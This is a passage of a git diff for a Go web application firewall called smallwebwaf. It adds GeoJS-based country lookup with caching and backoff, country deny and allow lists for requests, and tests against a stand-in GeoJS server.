kept.country, true +} + +// ask starts asking GeoJS about the waiting clients, unless a request to +// it is under way or it is left alone after a failure. The requests to +// GeoJS are for every client waiting, so they go on when the client's +// request whose ctx is given ends. +func (g *GeoJS) ask(ctx context.Context) { + if g.asking || g.now().Before(g.retryAt) { + return + } + + g.asking = true + + go g.askAboutWaiting(context.WithoutCancel(ctx)) +} + +// askAboutWaiting asks GeoJS about the waiting clients, one request at a +// time, until none is left or GeoJS fails. +func (g *GeoJS) askAboutWaiting(ctx context.Context) { + for { + clients := g.nextClients() + if len(clients) == 0 { + return + } + + countries, err := g.request(ctx, clients) + if !g.keep(clients, countries, err) { + return + } + } +} + +// nextClients returns up to maxPerRequest of the waiting clients. When +// none is waiting, it returns none and notes that no request to GeoJS is +// under way. +func (g *GeoJS) nextClients() []netip.Prefix { + g.mu.Lock() + defer g.mu.Unlock() + + if len(g.waiting) == 0 { + g.asking = false + + return nil + } + + clients := make([]netip.Prefix, 0, min(len(g.waiting), maxPerRequest)) + + for client := range g.waiting { + if len(clients) == maxPerRequest { + break + } + + clients = append(clients, client) + } + + return clients +} + +// keep notes how a request to GeoJS about clients ended, and reports +// whether GeoJS answered about all of them. Each client whose address +// GeoJS's answer names gets its answer, with no country when GeoJS gave +// none. An answer that leaves an address out is a failure. After a +// failure GeoJS is left alone for a while, and every client still waiting +// stops waiting and is asked about once GeoJS is asked again. +func (g *GeoJS) keep( + clients []netip.Prefix, countries map[netip.Addr]string, err error, +) bool { + g.mu.Lock() + defer g.mu.Unlock() + + now := g.now() + leftOut := 0 + + for _, client := range clients { + country, named := countries[client.Addr()] + if !named { + leftOut++ + + continue + } + + g.answers.Add(client, answer{country: country, received: now}) + close(g.waiting[client].asked) + delete(g.waiting, client) + } + + if err == nil && leftOut > 0 { + err = fmt.Errorf("%w %d of %d addresses", errLeftOut, leftOut, len(clients)) + } + + if err != nil { + g.retryDelay = min(max(retryDelayFactor*g.retryDelay, firstRetryDelay), + maxRetryDelay) + g.retryAt = now.Add(g.retryDelay) + g.asking = false + + for _, w := range g.waiting { + close(w.asked) + + w.asked = make(chan struct{}) + w.late = true + } + + g.processLog.Warn("asking GeoJS failed", + "error", err.Error(), "asking_again_in", g.retryDelay.String()) + + return false + } + + g.retryDelay = 0 + + return true +} + +// request asks GeoJS about clients in one request, and returns the +// country it gave, in capitals, for each address its answer names. +func (g *GeoJS) request( + ctx context.Context, clients []netip.Prefix, +) (map[netip.Addr]string, error) { + addrs := make([]string, 0, len(clients)) + + for _, client := range clients { + addrs = append(addrs, client.Addr().String()) + } + + ctx, cancel := context.WithTimeout(ctx, timeout) + defer cancel() + + req, err := http.NewRequestWithContext(ctx, http.MethodGet, g.url, http.NoBody) + if err != nil { + return nil, fmt.Errorf("make the request to GeoJS: %w", err) + } + + req.URL.RawQuery = "ip=" + strings.Join(addrs, ",") + + res, err := g.httpClient.Do(req) + if err != nil { + // Do's error names the URL, and so the visitors' addresses, which + // are not to be logged: only what went wrong is kept. + return nil, fmt.Errorf("ask GeoJS: %w", errors.Unwrap(err)) + } + + defer func() { + _ = res.Body.Close() + }() + + if res.StatusCode != http.StatusOK { + return nil, fmt.Errorf("%w %s", errStatus, res.Status) + } + + var answers []struct { + IP string `json:"ip"` + Country string `json:"country"` + } + + err = json.NewDecoder(io.LimitReader(res.Body, maxResponseBytes)).Decode(&answers) + if err != nil { + return nil, fmt.Errorf("read GeoJS's answer: %w", err) + } + + countries := make(map[netip.Addr]string, len(answers)) + + for _, item := range answers { + addr, err := netip.ParseAddr(item.IP) + if err == nil { + countries[addr] = strings.ToUpper(item.Country) + } + } + + return countries, nil +} diff --git a/internal/lookup/lookup_test.go b/internal/lookup/lookup_test.go new file mode 100644 index 0000000..bcfc3a1 --- /dev/null +++ b/internal/lookup/lookup_test.go @@ -0,0 +1,553 @@ +package lookup_test + +import ( + "encoding/json" + "log/slog" + "net/http" + "net/http/httptest" + "net/netip" + "slices" + "strings" + "sync" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/lookup" +) + +const ( + // germany is where the stand-in for GeoJS places every address but + // unplaced. + germany = "DE" + // unplaced is the address it cannot place. + unplaced = "192.0.2.1" + // leftOut is the address it leaves out of its answer when + // answeringWithoutLeftOut. + leftOut = "203.0.113.7" + // timeout is how long a new client waits for its answer. + timeout = time.Second + // waitLimit bounds how long a test waits for what should happen. + waitLimit = 10 * time.Second + // pollInterval is how often a test looks again. + pollInterval = 10 * time.Millisecond + // week is how long an answer is kept. + week = 7 * 24 * time.Hour +) + +func TestKeptAnswerIsUsedFor7DaysThenAskedAgain(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + placed := netip.MustParsePrefix("203.0.113.9/32") + notPlaced := netip.MustParsePrefix(unplaced + "/32") + + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") + wantRequests(t, geojs, 2) + + // An answer without a country is kept too. + clock.advance(week - time.Second) + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") + wantRequests(t, geojs, 2) + + clock.advance(time.Second) + wantCountry(t, g, placed, germany) + wantRequests(t, geojs, 3) + wantAsked(t, geojs, 2, "203.0.113.9") +} + +func TestNewClientWaitsAtMostOneSecondThenCountsAsNotFound(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + client := netip.MustParsePrefix("203.0.113.9/32") + + // The client comes while GeoJS is asked about an earlier client, which + // it answers most of a second later. It is then asked about the client + // and does not answer: that request is abandoned a second after it + // began, well after the client's wait is over. + geojs.set(answeringSlowly) + + var earlier sync.WaitGroup + + earlier.Go(func() { g.Country(t.Context(), netip.MustParsePrefix("203.0.113.1/32")) }) + defer earlier.Wait() + + waitForRequests(t, geojs, 1) + geojs.set(hanging) + + began := time.Now() + + wantCountry(t, g, client, "") + + took := time.Since(began) + if took < timeout || took > timeout+timeout/2 { + t.Errorf("waited %s for the answer, want %s", took, timeout) + } + + // Its next request does not wait. + began = time.Now() + + wantCountry(t, g, client, "") + + took = time.Since(began) + if took > timeout/2 { + t.Errorf("waited %s again, want no wait", took) + } + + // Once GeoJS answers, the client is asked about again in the + // background, and has its country. + geojs.set(answering) + waitForCountry(t, g, clock, client, germany) +} + +func TestAddressLeftOutOfAnAnswerIsAskedAboutAgain(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + answers int + // named is whether the answer names the other client asked about. + named bool + }{ + {"null", answeringNull, false}, + {"empty list", answeringEmptyList, false}, + {"list without " + leftOut, answeringWithoutLeftOut, true}, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + other := netip.MustParsePrefix("203.0.113.1/32") + client := netip.MustParsePrefix(leftOut + "/32") + + // GeoJS fails, and is left alone for a second while the client + // comes too, so that the next request asks about both. + geojs.set(failing) + wantCountry(t, g, other, "") + wantCountry(t, g, client, "") + + geojs.set(tc.answers) + clock.advance(time.Second) + wantCountry(t, g, other, "") + waitForRequests(t, geojs, 2) + + // The answer counts as a failure, and the client is asked about + // again, with the other client only if the answer left it out too. + geojs.set(answering) + waitForCountry(t, g, clock, client, germany) + wantCountry(t, g, other, germany) + wantRequests(t, geojs, 3) + + if tc.named { + wantAsked(t, geojs, 2, leftOut) + } else { + wantAsked(t, geojs, 2, leftOut, "203.0.113.1") + } + }) + } +} + +func TestRedirectCountsAsFailure(t *testing.T) { + t.Parallel() + + geojs, _, g := start(t) + geojs.set(redirecting) + + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") + wantRequests(t, geojs, 1) +} + +func TestCountryIsKeptInCapitals(t *testing.T) { + t.Parallel() + + geojs, _, g := start(t) + geojs.set(answeringInLowerCase) + + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), germany) +} + +func TestFailureIsLoggedWithoutTheAddressesAskedAbout(t *testing.T) { + t.Parallel() + + var log strings.Builder + + // Nothing listens on port 1, so asking GeoJS fails. + g := lookup.New(lookup.Params{ + URL: "http://127.0.0.1:1", + Now: time.Now, + ProcessLog: slog.New(slog.NewTextHandler(&log, nil)), + }) + + wantCountry(t, g, netip.MustParsePrefix("203.0.113.9/32"), "") + + logged := log.String() + if !strings.Contains(logged, "asking GeoJS failed") || + strings.Contains(logged, "203.0.113.9") { + t.Errorf("logged %q, want the failure without the address asked about", logged) + } +} + +func TestWaitingClientsAreAskedAboutInOneRequest(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + + // GeoJS fails, and is then left alone for a second, while three more + // clients come. An IPv6 client is a /64, and GeoJS is asked about its + // first address. + geojs.set(failing) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.1/32"), "") + wantCountry(t, g, netip.MustParsePrefix("203.0.113.2/32"), "") + wantCountry(t, g, netip.MustParsePrefix("2001:db8:1:2::/64"), "") + wantRequests(t, geojs, 1) + + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, netip.MustParsePrefix("203.0.113.3/32"), germany) + wantRequests(t, geojs, 2) + wantAsked(t, geojs, 1, "203.0.113.1", "203.0.113.2", "2001:db8:1:2::", "203.0.113.3") +} + +func TestKeptAnswersUnaffectedWhileGeoJSFailsAndAskedAgainWithBackoff(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + clients := newClients() + kept := clients() + + wantCountry(t, g, kept, germany) + + geojs.set(failing) + wantCountry(t, g, kept, germany) + wantRequests(t, geojs, 1) + + // Each failure leaves GeoJS alone twice as long as the one before, up + // to five minutes. New clients meanwhile count as not found, and the + // client with a kept answer still gets its country, without GeoJS being + // asked. + requests := 1 + + for _, delay := range []time.Duration{ + time.Second, 2 * time.Second, 4 * time.Second, 8 * time.Second, + 16 * time.Second, 32 * time.Second, 64 * time.Second, 128 * time.Second, + 256 * time.Second, 5 * time.Minute, 5 * time.Minute, + } { + wantCountry(t, g, clients(), "") + + requests++ + wantRequests(t, geojs, requests) + + clock.advance(delay - time.Millisecond) + wantCountry(t, g, clients(), "") + wantCountry(t, g, kept, germany) + wantRequests(t, geojs, requests) + + clock.advance(time.Millisecond) + } + + // Once GeoJS answers again, it is asked about every client waiting. + geojs.set(answering) + wantCountry(t, g, clients(), germany) + wantRequests(t, geojs, requests+1) + + asked := waitForRequests(t, geojs, requests+1) + if len(asked[requests]) != 23 { + t.Errorf("GeoJS was asked about %d clients, want 23", len(asked[requests])) + } +} + +func TestAtMost200AddressesInOneRequest(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + clients := newClients() + first := clients() + + // 201 clients wait while GeoJS is left alone after a failure. + geojs.set(failing) + wantCountry(t, g, first, "") + + for range 200 { + wantCountry(t, g, clients(), "") + } + + // The first one's next request has GeoJS asked again. + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, first, "") + + asked := waitForRequests(t, geojs, 3) + if len(asked[1]) != 200 || len(asked[2]) != 1 { + t.Errorf("GeoJS was asked about %d and then %d clients, want 200 and 1", + len(asked[1]), len(asked[2])) + } +} + +func TestAtMost10000ClientsWait(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + clients := newClients() + first := clients() + + // 10,000 clients wait while GeoJS is left alone after a failure, and + // one more cannot join them. + geojs.set(failing) + wantCountry(t, g, first, "") + + for range 9999 { + wantCountry(t, g, clients(), "") + } + + extra := clients() + wantCountry(t, g, extra, "") + + // The first one's next request has GeoJS asked about the 10,000, 200 + // at a time, and not about the one more. + geojs.set(answering) + clock.advance(time.Second) + wantCountry(t, g, first, "") + + asked := waitForRequests(t, geojs, 51) + for i, request := range asked { + if slices.Contains(request, extra.Addr().String()) { + t.Errorf("request %d asked about %s", i, extra.Addr()) + } + } + + // With room among those waiting, it is asked about. + wantCountry(t, g, extra, germany) +} + +// How the stand-in for GeoJS answers. +const ( + answering = iota + answeringSlowly // most of a second later + answeringInLowerCase // with each country in lower case + answeringWithoutLeftOut // with a list that leaves leftOut out + answeringEmptyList // with [] + answeringNull // with null + failing // with 503 + hanging // not at all, until the request is abandoned + redirecting // with a redirect to itself +) + +// standIn is a stand-in for GeoJS. It notes the addresses each request +// asks about. +type standIn struct { + server *httptest.Server + + mu sync.Mutex + answers int + requests [][]string +} + +// ServeHTTP answers a request about the addresses in its ip parameter. +func (s *standIn) ServeHTTP(w http.ResponseWriter, r *http.Request) { + addrs := strings.Split(r.URL.Query().Get("ip"), ",") + + s.mu.Lock() + s.requests = append(s.requests, addrs) + answers := s.answers + s.mu.Unlock() + + switch answers { + case failing: + w.WriteHeader(http.StatusServiceUnavailable) + + return + case hanging: + <-r.Context().Done() + + return + case redirecting: + http.Redirect(w, r, "/", http.StatusFound) + + return + case answeringSlowly: + select { + case <-time.After(timeout * 4 / 5): + case <-r.Context().Done(): + return + } + } + + list := make([]map[string]string, 0, len(addrs)) + + for _, addr := range addrs { + country := germany + + switch { + case addr == unplaced: + country = "" + case addr == leftOut && answers == answeringWithoutLeftOut: + continue + case answers == answeringInLowerCase: + country = strings.ToLower(germany) + } + + list = append(list, map[string]string{"ip": addr, "country": country}) + } + + var answer any = list + + switch answers { + case answeringEmptyList: + answer = []string{} + case answeringNull: + answer = nil + } + + err := json.NewEncoder(w).Encode(answer) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + } +} + +// set sets how the stand-in answers. +func (s *standIn) set(answers int) { + s.mu.Lock() + defer s.mu.Unlock() + + s.answers = answers +} + +// asked returns the addresses each request has asked about so far. +func (s *standIn) asked() [][]string { + s.mu.Lock() + defer s.mu.Unlock() + + return slices.Clone(s.requests) +} + +// testClock is a clock the test sets. +type testClock struct { + mu sync.Mutex + now time.Time +} + +// Now tells the time. +func (c *testClock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + + return c.now +} + +// advance moves the clock on by d. +func (c *testClock) advance(d time.Duration) { + c.mu.Lock() + defer c.mu.Unlock() + + c.now = c.now.Add(d) +} + +// start starts a stand-in for GeoJS that answers, and returns it, a +// clock, and a GeoJS asking it by that clock. +func start(t *testing.T) (*standIn, *testClock, *lookup.GeoJS) { + t.Helper() + + geojs := &standIn{} + geojs.server = httptest.NewServer(geojs) + t.Cleanup(geojs.server.Close) + + clock := &testClock{now: time.Date(2026, 10, 4, 0, 0, 0, 0, time.UTC)} + g := lookup.New(lookup.Params{ + URL: geojs.server.URL, + Now: clock.Now, + ProcessLog: slog.New(slog.DiscardHandler), + }) + + return geojs, clock, g +} + +// newClients returns what returns a new IPv4 client each time it is +// called. +func newClients() func() netip.Prefix { + addr := netip.MustParseAddr("10.0.0.0") + + return func() netip.Prefix { + addr = addr.Next() + + return netip.PrefixFrom(addr, addr.BitLen()) + } +} + +// wantCountry checks the country g gives client. +func wantCountry(t *testing.T, g *lookup.GeoJS, client netip.Prefix, want string) { + t.Helper() + + got := g.Country(t.Context(), client) + if got != want { + t.Errorf("%s is in %q, want %q", client, got, want) + } +} + +// wantRequests checks how many requests GeoJS has had. +func wantRequests(t *testing.T, geojs *standIn, want int) { + t.Helper() + + got := len(geojs.asked()) + if got != want { + t.Errorf("GeoJS had %d requests, want %d", got, want) + } +} + +// wantAsked checks the addresses request i asked about, in any order. +func wantAsked(t *testing.T, geojs *standIn, i int, want ...string) { + t.Helper() + + asked := geojs.asked() + if len(asked) <= i { + t.Fatalf("GeoJS had %d requests, want more than %d", len(asked), i) + } + + got := slices.Sorted(slices.Values(asked[i])) + + slices.Sort(want) + + if !slices.Equal(got, want) { + t.Errorf("request %d asked about %v, want %v", i, got, want) + } +} + +// waitForRequests waits for GeoJS to have had count requests, and returns +// the addresses each asked about. +func waitForRequests(t *testing.T, geojs *standIn, count int) [][]string { + t.Helper() + + deadline := time.Now().Add(waitLimit) + for time.Now().Before(deadline) { + asked := geojs.asked() + if len(asked) >= count { + return asked + } + + time.Sleep(pollInterval) + } + + t.Fatalf("fewer than %d requests to GeoJS after %s", count, waitLimit) + + return nil +} + +// waitForCountry waits for g to give client the country want, moving the +// clock on a minute at a time, so that GeoJS is asked again after a +// failure. +func waitForCountry( + t *testing.T, g *lookup.GeoJS, clock *testClock, client netip.Prefix, want string, +) { + t.Helper() + + deadline := time.Now().Add(waitLimit) + for g.Country(t.Context(), client) != want { + if time.Now().After(deadline) { + t.Fatalf("%s is not in %q after %s", client, want, waitLimit) + } + + clock.advance(time.Minute) + time.Sleep(pollInterval) + } +} diff --git a/internal/proxy/countries.go b/internal/proxy/countries.go new file mode 100644 index 0000000..1ab04d3 --- /dev/null +++ b/internal/proxy/countries.go @@ -0,0 +1,41 @@ +package proxy + +import ( + "context" + "net/netip" + "slices" +) + +// countryDenied reports whether the country lists refuse the request. +// The client's country is looked up only while a list is set, and never +// for a client on a private, loopback or link-local address, which has +// no country and which neither list checks. A client whose country +// cannot be found is refused only by SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES. +// ctx is the request's own context. +func (rq *request) countryDenied(ctx context.Context) bool { + denied := rq.h.config.DeniedCountries + allowed := rq.h.config.ExclusivelyAllowedCountries + + if len(denied) == 0 && len(allowed) == 0 { + return false + } + + if !hasCountry(rq.client) { + return false + } + + country := rq.h.geojs.Country(ctx, clientGroup(rq.client)) + rq.line.Country = country + + if slices.Contains(denied, country) { + return true + } + + return len(allowed) > 0 && !slices.Contains(allowed, country) +} + +// hasCountry reports whether addr can be placed in a country: private, +// loopback and link-local addresses cannot. +func hasCountry(addr netip.Addr) bool { + return !addr.IsPrivate() && !addr.IsLoopback() && !addr.IsLinkLocalUnicast() +} diff --git a/internal/proxy/countries_test.go b/internal/proxy/countries_test.go new file mode 100644 index 0000000..b5b999d --- /dev/null +++ b/internal/proxy/countries_test.go @@ -0,0 +1,267 @@ +package proxy_test + +import ( + "encoding/json" + "maps" + "net/http" + "net/http/httptest" + "slices" + "strings" + "sync" + "sync/atomic" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The clients the stand-in for GeoJS knows about. +const ( + // fromDE is placed in Germany. + fromDE = client + // fromKP is placed in North Korea. + fromKP = "198.51.100.7" + // unplaced cannot be placed in any country. + unplaced = "192.0.2.1" +) + +func TestCountryLists(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + refused []string + }{ + {"denied", map[string]string{deniedCountries: "kp"}, []string{fromKP}}, + { + "exclusively allowed", map[string]string{allowedCountries: "DE"}, + []string{fromKP, unplaced}, + }, + { + "both", map[string]string{deniedCountries: "kp", allowedCountries: "de,fr"}, + []string{fromKP, unplaced}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + geojsURL, _ := startGeoJS(t) + env := map[string]string{trustedProxies: trustLocalhost} + maps.Copy(env, tc.env) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) + + for i, sent := range []struct{ client, country string }{ + {fromDE, "DE"}, {fromKP, "KP"}, {unplaced, ""}, + } { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, sent.client) + got := do(t, req) + + line := out.requestLines(t, i+1)[i] + if line.Country != sent.country { + t.Errorf("log line has country %q, want %q", line.Country, sent.country) + } + + if slices.Contains(tc.refused, sent.client) { + wantStatus(t, got, http.StatusForbidden) + wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied) + } else { + wantStatus(t, got, http.StatusOK) + wantLine(t, line, http.StatusOK, requestlog.ActionForward) + } + } + + if int(calls.Load()) != 3-len(tc.refused) { + t.Errorf("the app was called %d times, want %d", + calls.Load(), 3-len(tc.refused)) + } + }) + } +} + +func TestCountryRefusalComesBeforeTheBody(t *testing.T) { + t.Parallel() + + var calls atomic.Int32 + + app := startApp(t, func(http.ResponseWriter, *http.Request) { + calls.Add(1) + }) + geojsURL, _ := startGeoJS(t) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, map[string]string{ + trustedProxies: trustLocalhost, + deniedCountries: "kp", + }) + + req := newRequest(t, http.MethodPost, addr, "/", strings.NewReader("a body")) + req.Header.Set(forwardedFor, fromKP) + wantStatus(t, do(t, req), http.StatusForbidden) + + line := out.requestLine(t) + wantLine(t, line, http.StatusForbidden, requestlog.ActionCountryDenied) + + if line.RequestBytes != 0 { + t.Errorf("log line has request_bytes %d, want 0", line.RequestBytes) + } + + if calls.Load() != 0 { + t.Errorf("the app was called %d times, want none", calls.Load()) + } +} + +func TestRequestRefusedByCountryIsNotCounted(t *testing.T) { + t.Parallel() + + // The stand-in for GeoJS fails until placing is set, and then places + // every address in Germany. + var placing atomic.Bool + + geojs := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, r *http.Request) { + if !placing.Load() { + w.WriteHeader(http.StatusServiceUnavailable) + + return + } + + answer := []map[string]string{{"ip": r.URL.Query().Get("ip"), "country": "DE"}} + + err := json.NewEncoder(w).Encode(answer) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + } + })) + t.Cleanup(geojs.Close) + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, _ := startProxyWithGeoJS(t, app.URL, geojs.URL, map[string]string{ + trustedProxies: trustLocalhost, + allowedCountries: "de", + rateLimitPerMinute: "1", + }) + + request := func() answer { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + req.Header.Set(forwardedFor, fromDE) + + return do(t, req) + } + + // While GeoJS fails, the client's country cannot be found, and its + // request is refused. + wantStatus(t, request(), http.StatusForbidden) + + // Once GeoJS places it, a second after the failure, its requests are let + // through. No refused one was counted, so the first let through is + // within the limit of one a minute. + placing.Store(true) + + deadline := time.Now().Add(waitLimit) + got := request() + + for got.status == http.StatusForbidden && time.Now().Before(deadline) { + time.Sleep(pollInterval) + + got = request() + } + + wantStatus(t, got, http.StatusOK) +} + +func TestCountryNotLookedUpWithoutAListOrForAPrivateAddress(t *testing.T) { + t.Parallel() + + for _, tc := range []struct { + name string + env map[string]string + clients []string // "" sends no X-Forwarded-For: the client is 127.0.0.1 + }{ + {"no country list is set", nil, []string{fromKP, fromDE}}, + { + "private, loopback and link-local addresses", + map[string]string{allowedCountries: "de"}, + []string{"10.0.0.5", "192.168.1.9", "fd00::5", "", "169.254.0.9", "fe80::9"}, + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + geojsURL, asked := startGeoJS(t) + env := map[string]string{trustedProxies: trustLocalhost} + maps.Copy(env, tc.env) + addr, out := startProxyWithGeoJS(t, app.URL, geojsURL, env) + + for i, sent := range tc.clients { + req := newRequest(t, http.MethodGet, addr, "/", http.NoBody) + if sent != "" { + req.Header.Set(forwardedFor, sent) + } + + wantStatus(t, do(t, req), http.StatusOK) + + line := out.requestLines(t, i+1)[i] + wantLine(t, line, http.StatusOK, requestlog.ActionForward) + + country, present := line.fields["country"] + if !present || country != "" { + t.Errorf("log line for %q has country %v, want an empty one", + line.ClientIP, country) + } + } + + if len(asked()) != 0 { + t.Errorf("GeoJS was asked about %v, want nothing", asked()) + } + }) + } +} + +// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP +// and no other address. It returns its URL, and what returns the +// addresses it has been asked about. +func startGeoJS(t *testing.T) (string, func() []string) { + t.Helper() + + places := map[string]string{fromDE: "DE", fromKP: "KP"} + + var asked struct { + mu sync.Mutex + addrs []string + } + + geojs := httptest.NewServer(http.HandlerFunc( + func(w http.ResponseWriter, r *http.Request) { + addrs := strings.Split(r.URL.Query().Get("ip"), ",") + + asked.mu.Lock() + asked.addrs = append(asked.addrs, addrs...) + asked.mu.Unlock() + + answers := make([]map[string]string, 0, len(addrs)) + for _, addr := range addrs { + answers = append(answers, map[string]string{ + "ip": addr, "country": places[addr], + }) + } + + err := json.NewEncoder(w).Encode(answers) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + } + })) + t.Cleanup(geojs.Close) + + return geojs.URL, func() []string { + asked.mu.Lock() + defer asked.mu.Unlock() + + return slices.Clone(asked.addrs) + } +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index a650c11..531478b 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -11,6 +11,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/ratelimit" ) @@ -40,6 +41,9 @@ type Params struct { RequestLog io.Writer // ProcessLog receives the process's own messages. ProcessLog *slog.Logger + // GeoJSURL is where clients' countries are looked up, normally + // lookup.URL. GeoJS is asked only while a country list is set. + GeoJSURL string } // New returns the server smallwebwaf runs: each request it reads passes @@ -63,6 +67,11 @@ func New(params Params) *http.Server { PerHour: params.Config.RateLimitPerHour, PerDay: params.Config.RateLimitPerDay, }), + geojs: lookup.New(lookup.Params{ + URL: params.GeoJSURL, + Now: time.Now, + ProcessLog: params.ProcessLog, + }), }, ReadHeaderTimeout: params.Config.ClientRequestTimeout, IdleTimeout: clientIdleTimeout, @@ -80,6 +89,7 @@ type handler struct { errorLog *log.Logger transport http.RoundTripper limiter *ratelimit.Limiter + geojs *lookup.GeoJS } // newTransport returns what carries requests to the app. It never goes @@ -101,7 +111,7 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { rq := h.newRequest(w, r) defer rq.finish() - refused := rq.check() + refused := rq.check(r.Context()) if refused != nil { rq.answer(*refused) diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index c6aefe1..0e7dea7 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -49,6 +49,8 @@ const ( responseMaxBytes = "SWWAF_RESPONSE_MAX_BYTES" trustedProxies = "SWWAF_TRUSTED_PROXIES" rateLimitPerMinute = "SWWAF_RATE_LIMIT_PER_MINUTE" + deniedCountries = "SWWAF_DENIED_COUNTRIES" + allowedCountries = "SWWAF_EXCLUSIVELY_ALLOWED_COUNTRIES" ) // output collects what smallwebwaf writes on stdout. @@ -163,6 +165,16 @@ func startApp(t *testing.T, app http.HandlerFunc) *httptest.Server { func startProxy(t *testing.T, appURL string, env map[string]string) (string, *output) { t.Helper() + return startProxyWithGeoJS(t, appURL, "", env) +} + +// startProxyWithGeoJS is startProxy with clients' countries looked up at +// geojsURL. +func startProxyWithGeoJS( + t *testing.T, appURL, geojsURL string, env map[string]string, +) (string, *output) { + t.Helper() + settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL} maps.Copy(settings, env) @@ -180,6 +192,7 @@ func startProxy(t *testing.T, appURL string, env map[string]string) (string, *ou Config: cfg, RequestLog: out, ProcessLog: requestlog.NewProcessLogger(out), + GeoJSURL: geojsURL, }) listener, err := (&net.ListenConfig{}).Listen(t.Context(), "tcp", localhost+":0") diff --git a/internal/proxy/request.go b/internal/proxy/request.go index 6520d6b..185e0b1 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -103,9 +103,18 @@ func (h *handler) newRequest(w http.ResponseWriter, r *http.Request) *request { // check is the one place where a request can be refused once its client // is known, before its body is read or anything reaches the app. It -// returns nil to let the request through. The rate limits come first, so -// that every request is counted, one refused for its size too. -func (rq *request) check() *refusal { +// returns nil to let the request through. The country lists come first, +// and a request they refuse is not counted for the rate limits; then the +// rate limits, so that every other request is counted, one refused for +// its size too. ctx is the request's own context. +func (rq *request) check(ctx context.Context) *refusal { + if rq.countryDenied(ctx) { + return &refusal{ + status: http.StatusForbidden, + action: requestlog.ActionCountryDenied, + } + } + limitHit := rq.h.limiter.Count(clientGroup(rq.client), rq.start) if limitHit != "" { rq.line.LimitHit = limitHit diff --git a/internal/requestlog/requestlog.go b/internal/requestlog/requestlog.go index c31b9d9..fddcd19 100644 --- a/internal/requestlog/requestlog.go +++ b/internal/requestlog/requestlog.go @@ -26,6 +26,8 @@ const ( // ActionRateLimited is a request refused because it took its client // over a rate limit, or came while the client was over one. ActionRateLimited = "rate_limited" + // ActionCountryDenied is a request refused for its client's country. + ActionCountryDenied = "country_denied" ) // timeLayout is RFC 3339 with milliseconds. @@ -40,6 +42,7 @@ type Line struct { Time string `json:"time"` ClientIP string `json:"client_ip"` PeerIP string `json:"peer_ip"` + Country string `json:"country"` Method string `json:"method"` Host string `json:"host"` Path string `json:"path"` diff --git a/internal/smallwebwaf/smallwebwaf.go b/internal/smallwebwaf/smallwebwaf.go index 7141b63..97e1047 100644 --- a/internal/smallwebwaf/smallwebwaf.go +++ b/internal/smallwebwaf/smallwebwaf.go @@ -16,6 +16,7 @@ import ( "time" "sneak.berlin/go/smallwebwaf/internal/config" + "sneak.berlin/go/smallwebwaf/internal/lookup" "sneak.berlin/go/smallwebwaf/internal/proxy" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -73,6 +74,7 @@ func Run(ctx context.Context, params Params) int { Config: cfg, RequestLog: params.Stdout, ProcessLog: processLog, + GeoJSURL: lookup.URL, }) processLog.Info("starting", diff --git a/internal/smallwebwaf/smallwebwaf_test.go b/internal/smallwebwaf/smallwebwaf_test.go index fb7341b..b65fedf 100644 --- a/internal/smallwebwaf/smallwebwaf_test.go +++ b/internal/smallwebwaf/smallwebwaf_test.go @@ -176,18 +176,20 @@ func wantStartingLine(t *testing.T, line map[string]any, appURL string) { settings, _ := line["settings"].(map[string]any) want := map[string]any{ - listenAddr: localhost + ":0", - "SWWAF_UPSTREAM_URL": appURL, - "SWWAF_TRUSTED_PROXIES": "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", - "SWWAF_CLIENT_REQUEST_TIMEOUT": "60s", - "SWWAF_CLIENT_RESPONSE_TIMEOUT": "30m", - "SWWAF_UPSTREAM_REQUEST_TIMEOUT": "60s", - "SWWAF_UPSTREAM_RESPONSE_TIMEOUT": "30m", - "SWWAF_REQUEST_MAX_BYTES": "100M", - 